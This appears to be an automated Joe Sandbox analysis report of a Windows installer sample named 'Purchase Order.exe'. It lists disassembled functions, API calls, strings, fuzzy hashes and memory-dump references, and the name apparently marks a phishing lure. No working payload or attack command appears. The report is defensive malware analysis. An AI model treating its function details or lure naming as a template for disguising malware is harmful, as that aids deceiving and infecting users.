Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62

Function 00402CAB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402CC3
GetTickCount.KERNEL32 ref: 00402CE1
wsprintfA.USER32 ref: 00402D0F

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402D33
ShowWindow.USER32(00000000,00000005), ref: 00402D41

Part of subcall function 00402C8F: MulDiv.KERNEL32(0002C54F,00000064,0002E638), ref: 00402CA4

Strings

... %d%%, xrefs: 00402D09

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 78a221e97a99680450e3ca11bf4e3b45821cb4013d8a2558b5166950edff25d0
Instruction ID: 547fa0e596d0efa3134ade0ba199646732fee1a7f54f1ab5f8be41358a9578df
Opcode Fuzzy Hash: 78a221e97a99680450e3ca11bf4e3b45821cb4013d8a2558b5166950edff25d0
Instruction Fuzzy Hash: DC019BB0906614E7EB21BB64EF0DEDE766CEB04701B444037F405B11E5C7B89941D79E

Function 004049DB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004049F6
GetMessagePos.USER32 ref: 004049FE
ScreenToClient.USER32(?,?), ref: 00404A18
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404A2A
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404A50

Strings

f, xrefs: 00404A2C

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 2232a7e87341d92c9ad346ae082ec06308d60ff2d87fc7f715a57a5a5eae5b25
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: E5018071E40219BADB00DB94CC41BFEBBB8AB45711F10412BBA10B61C0D7B465018BA5

Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D98
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
ReleaseDC.USER32(?,00000000), ref: 00401DCB
CreateFontIndirectA.GDI32(0040A808), ref: 00401E1A

Strings

Calibri, xrefs: 00401E00

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 7163b3b0dcdfa28c572866efb14d0ddf6d6d7c1142750631c0734f8fd9b33859
Instruction ID: 31dc6bfce766dd2e9c365b6b9c1ce0fa0646d0edadaed3ffd0317ad467dc8ee1
Opcode Fuzzy Hash: 7163b3b0dcdfa28c572866efb14d0ddf6d6d7c1142750631c0734f8fd9b33859
Instruction Fuzzy Hash: 1E017572948340AFE7006B74AE4EB993FF4DB95315F10847AF201B62E2C6B905528F6E

Function 00402C13 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
wsprintfA.USER32 ref: 00402C62
SetWindowTextA.USER32(?,?), ref: 00402C72
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C84

Strings

unpacking data: %d%%, xrefs: 00402C50, 00402C60
verifying installer: %d%%, xrefs: 00402C57

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction ID: e0e458c2d16b5d3c5a169a1492fe07981551179f6e5c56f92d0567975436b572
Opcode Fuzzy Hash: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction Fuzzy Hash: 35F0317090420DABEF205F60CD0AFAE3769EB04345F00C43AFA16B51D0D7B99A55CB59

Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
GlobalFree.KERNEL32(?), ref: 004027F2
GlobalFree.KERNEL32(00000000), ref: 00402805
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 7d68071d91978c31b4045b951977b232c33a3f1e4c4fbf1767583406490216b2
Instruction ID: 589acf511f7bba285ed25554ef0f071862dbcd9cf46fffc414e4c77000f41e55
Opcode Fuzzy Hash: 7d68071d91978c31b4045b951977b232c33a3f1e4c4fbf1767583406490216b2
Instruction Fuzzy Hash: 5E219A71C04128BBCF216FA5CE89DAE7A79AF09324F14423AF520762E1C6795D40DBA9

Function 004048D1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Nonbeneficial Setup: Installing,Nonbeneficial Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
wsprintfA.USER32 ref: 00404977
SetDlgItemTextA.USER32(?,Nonbeneficial Setup: Installing), ref: 0040498A

Strings

Nonbeneficial Setup: Installing, xrefs: 00404961, 00404966, 0040496C, 00404980
%u.%u%s%s, xrefs: 00404959

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Nonbeneficial Setup: Installing
API String ID: 3540041739-1975629736
Opcode ID: bf1bdcac2109adbb76e2cfdf4929b7a7dc251d6602f1380599200b875f001fd7
Instruction ID: 7f1be1aa0c85ccb86495671cb382a06f82cddcf8175a130fa0267404931b34df
Opcode Fuzzy Hash: bf1bdcac2109adbb76e2cfdf4929b7a7dc251d6602f1380599200b875f001fd7
Instruction Fuzzy Hash: CF11B7736041283BDB0065799D45EAF3298DB85374F250637FA25F21D1E978CC1255EC

Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001869
GlobalFree.KERNEL32(?), ref: 100019EF
GlobalFree.KERNEL32(?), ref: 100019F4

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2

Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401D3F
GetClientRect.USER32(00000000,?), ref: 00401D4C
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
DeleteObject.GDI32(00000000), ref: 00401D8A

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: b98f244c4997ac906f623e123468edec3404108b831d84f192b6a7b6dae47352
Instruction ID: 3a73a5ecaa8fddf8dab02391599d10e6f088d4e67d6af50185a53a7dc2f76cba
Opcode Fuzzy Hash: b98f244c4997ac906f623e123468edec3404108b831d84f192b6a7b6dae47352
Instruction Fuzzy Hash: D6F0FFB2A04119BFDB11EBA4DE88DAFBBBCEB44301B104476F601F2191C6749D018B79

Function 00403B3C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,00422F20), ref: 00403BD4

Strings

"C:\Users\user\Desktop\Purchase Order.exe", xrefs: 00403B3D
Nonbeneficial Setup: Installing, xrefs: 00403B3F
1033, xrefs: 00403B40, 00403B4A, 00403BBB

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Purchase Order.exe"$1033$Nonbeneficial Setup: Installing
API String ID: 530164218-3067178276
Opcode ID: 67c3d82ce6484f9e1e19bcd04ff1a02b9bccfbab982ecba75f5a52bbb9d475e3
Instruction ID: c62297436265aa8c4426bdacc88999ed38b20c31bf5381ba95a45bc0aedbf607
Opcode Fuzzy Hash: 67c3d82ce6484f9e1e19bcd04ff1a02b9bccfbab982ecba75f5a52bbb9d475e3
Instruction Fuzzy Hash: 6711D8B1B046119BC730AF15DD50A77777DEB8475A328813FE901A73D2C73DAE029A98

Function 00405969 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004032AC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 0040596F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004032AC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 00405978
lstrcatA.KERNEL32(?,00409014), ref: 00405989

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405969

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 4e6a192690b432b60a96f5238a9074c153a0d937d76e079e8aa32f917c06b110
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 7FD0A9A2A09930AAD31222158C05EAB6A4CCF42310B0A0062F200B22E2C77C0D418BFE

Function 00405A02 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\,?,00405A6E,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405A10
CharNextA.USER32(00000000), ref: 00405A15
CharNextA.USER32(00000000), ref: 00405A29

Strings

C:\, xrefs: 00405A03

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: c01f0a1332e094523614662ca2a683f3687d2570a221d834ee5f6cec315170af
Instruction ID: f957f906ea029efbd3510901c55ab9b0ae73d09d1d9c73be6bc34f8378a19dae
Opcode Fuzzy Hash: c01f0a1332e094523614662ca2a683f3687d2570a221d834ee5f6cec315170af
Instruction Fuzzy Hash: C2F0C291B04FA06FFB32A2681C84F775A88CB55710F04116BE180662C2C2785C418F9A

Function 00403785 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000002CC,C:\Users\user\AppData\Local\Temp\,004035BC,?), ref: 00403797
CloseHandle.KERNEL32(000002D4,C:\Users\user\AppData\Local\Temp\,004035BC,?), ref: 004037AB

Strings

C:\Users\user\AppData\Local\Temp\nsj39BE.tmp, xrefs: 004037BB
C:\Users\user\AppData\Local\Temp\, xrefs: 0040378A

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsj39BE.tmp
API String ID: 2962429428-928807902
Opcode ID: 8243f35e0eeb5762c06f3a20855541ba65908ed27c56bedd9f13c791d511c691
Instruction ID: 4fe8f3727f95cb8dfcfe97d6293448c3a92072a7c91c92fe8e25374afea9a46a
Opcode Fuzzy Hash: 8243f35e0eeb5762c06f3a20855541ba65908ed27c56bedd9f13c791d511c691
Instruction Fuzzy Hash: E6E08CB0900620DAC524AF7CBD859463B289B41335760C726F578F30F2C338AE875AAC

Function 00405084 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004050B3
CallWindowProcA.USER32(?,?,?,?), ref: 00405104

Part of subcall function 00404128: SendMessageA.USER32(00010436,00000000,00000000,00000000), ref: 0040413A

Strings

, xrefs: 00405094

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction ID: e292fc6bb5149b142bd52d3e096dd2ae09329e4c6d4eed70fd370e7000aba408
Opcode Fuzzy Hash: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction Fuzzy Hash: B2018F71504609ABDF205F11ED84AEF3765EB84750F208037FA01B92D1C77A9D92AFAE

Function 004037E2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75923410,00000000,75922EE0,004037B9,C:\Users\user\AppData\Local\Temp\,004035BC,?), ref: 004037FC
GlobalFree.KERNEL32(00706C70), ref: 00403803

Strings

plp, xrefs: 004037E3, 0040380E

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: plp
API String ID: 1100898210-855499989
Opcode ID: e3dda661aee8dd5407b6d454dedd461a768af1d3b2e32b7100c159d0cb86a48a
Instruction ID: 0f50fe4902c40828f3baa38c718452ef382c33523e9ce6ddd30c4aedf32ca250
